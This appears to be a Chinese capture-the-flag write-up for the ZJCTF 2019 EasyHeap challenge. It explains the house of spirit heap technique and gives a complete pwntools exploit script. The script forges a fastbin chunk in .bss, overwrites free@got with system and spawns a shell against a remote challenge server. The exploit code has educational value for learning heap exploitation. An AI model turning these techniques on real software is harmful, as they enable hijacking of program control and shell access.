当前位置: 首页 > news >正文

ZJCTF 2019 EasyHeap

打算学 house of spirit,然后发现 house of spirit 其实在学 fastbin attack 时就学过了,只是不知道这个 trick 有这个名字,中途找到了这个题,来都来了就做了一下。

House of spirit

其实就是通过在目标地址伪造 fake chunk,然后通过 free 或者劫持 fd 指针的形式把 fake chunk 放到 bin 中,然后从 bin 中把 fake chunk 给拿出来,以此实现控制目标地址的效果。

sol

这题 buu 的环境上没法利用后门函数,所以需要自己 getshell

没开 pie,Partial RELRO,于是考虑覆盖 free@gotsystem@plt,尝试直接在 free@got 处伪造 fake chunk,发现没法错位构造纯净的 size 域,不过程序存在 heaparray.bss 段,用于存储 chunk 地址。首先想到可以用 unlink 劫持 heaparray,不过 heaparray 头上有 stdin,这是指向 FILE 结构体的指针,在 libc 段,后面又有一个为 0 的变量,可以错位构造一个 size = 0x70,直接在 .bss 段上伪造 fake chunk,劫持 heaparray,然后写入 free@got 的地址,再利用 edit 函数修改 free@got,最终 free 一个写入 /bin/sh\x00chunk 即可。

from pwn import *
#io = process('./pwn')
io = remote('node5.buuoj.cn',26581)
elf = ELF('./pwn')
def create(size,content):io.sendafter(b'Your choice :',b'1')io.sendafter(b'Size of Heap : ',str(size).encode())io.sendafter(b'Content of heap:',content)io.recvuntil(b'SuccessFul')
def edit(index,size,content):io.sendafter(b'Your choice :',b'2')io.sendafter(b'Index :',str(index).encode())io.sendafter(b'Size of Heap : ',str(size).encode())io.sendafter(b'Content of heap : ',content)io.recvuntil(b'Done !')
def delete(index):io.sendafter(b'Your choice :',b'3')io.sendafter(b'Index :',str(index).encode())io.recvuntil(b'Done !')
def Exploit():create(0x60,b'id=0')create(0x60,b'id=1')create(0x20,b'/bin/sh\x00') # id=2fake_chunk = 0x6020b0-3print(1)delete(1)payload = b'a'*0x60+p64(0x70)+p64(0x71)+p64(fake_chunk)edit(0,len(payload),payload)create(0x60,b'id=1')free_got = elf.got['free'];system_plt = elf.plt['system']create(0x60,b'\x00'*(0x6020E0-fake_chunk-0x10)+p64(free_got)) # id = 3edit(0,8,p64(system_plt))#delete(2)io.interactive()if __name__ == '__main__':Exploit()
http://www.jsqmd.com/news/519172/

相关文章:

  • AMD FSR 1.0源码实战:手把手教你实现边缘自适应升频(附完整代码解析)
  • Redis桌面管理神器+Win服务配置:从安装到可视化监控全流程
  • 1 吨燃气蒸汽锅炉 全套配置 包安装
  • OceanBase存储过程避坑指南:LLVM编译执行原理与常见错误解决
  • 工业机器人控制精度上不去?可能是动力学参数辨识没做好(从原理到避坑指南)
  • 我的世界皮肤格式转换神器SkinConvertingSheep使用指南(附下载链接)
  • web第三周笔记 - feng
  • 安卓逆向实战:用Node.js一键清理混淆dex中的Unicode垃圾代码(附完整工具链)
  • 避坑指南:LLM提示词设计中的RASCEF框架五大常见误用场景
  • 食品厂 1 吨燃气蒸汽锅炉 全套配齐 包安装包环评
  • MobaXterm专业版隐藏功能实测:宏录制+批量命令如何提升运维效率?
  • Windows11+WSL2+Ubuntu22.04环境下,5分钟搞定Qemu虚拟VExpress-A9开发板环境配置
  • 开源AI神器OpenClaw(小龙虾)保姆级部署全解析:零付费、零代码,人人可上手的本地AI助手
  • [ZJCTF 2019]EasyHeap
  • Ubuntu14.04 Samba共享文件夹Windows访问失败的5个常见原因及解决方案
  • CC2530 ZigBee无线组网实战:从ZStack协议栈到智能农业应用
  • 从路径遍历到RCE:深度剖析Ollama CVE-2024-37032漏洞原理与利用链
  • Wireshark网卡列表消失?5分钟搞定NPCAP驱动加载问题
  • 探索A*、JPS+算法在多机器人与单机器人场景下结合DWA的改进与对比
  • 基于三次多项式的机械臂轨迹优化与MATLAB实现
  • Win10蓝屏CRITICAL_PROCESS_DIED:从错误诊断到系统修复全流程解析
  • 【银河麒麟高级服务器操作系统】安全配置基线实战:从问题定位到参数调优的深度解析
  • Vue3 + Element Plus 表格查询规范:条件管理、分页联动 + 避坑,标准化写法|表单与表格规范篇
  • 基于MBD的电动汽车VCU应用层软件:从模型到实车的V流程实践
  • 三菱SLMP通讯协议在工业自动化中的高效数据交换实践
  • ESXi 7.0 + Ubuntu 22.04 保姆级配置:从虚拟机创建到SSH内网穿透全流程
  • simulink模型燃料电池空气路建模与控制 包括:燃料电池电堆模型(阴极,阳极,水传递
  • 图像检索技术选型实战指南:从理论到落地的全景解析
  • AGV-WCS调度系统参考源码 功能比较全面的AGV调度系统,源码+数据库+讲义; C#语言
  • 突破“黑盒”与数据瓶颈:物理信息神经网络(PINN)重构科学计算新范式